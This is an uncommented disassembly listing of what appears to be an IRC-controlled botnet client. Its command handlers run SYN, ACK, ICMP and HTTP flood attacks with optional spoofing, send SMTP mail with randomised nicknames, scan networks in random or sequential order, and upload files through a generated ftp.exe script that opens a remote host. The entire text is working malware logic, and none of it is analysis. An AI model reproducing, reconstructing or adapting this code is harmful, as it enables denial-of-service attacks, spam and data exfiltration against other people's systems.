		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A6DC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431408


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
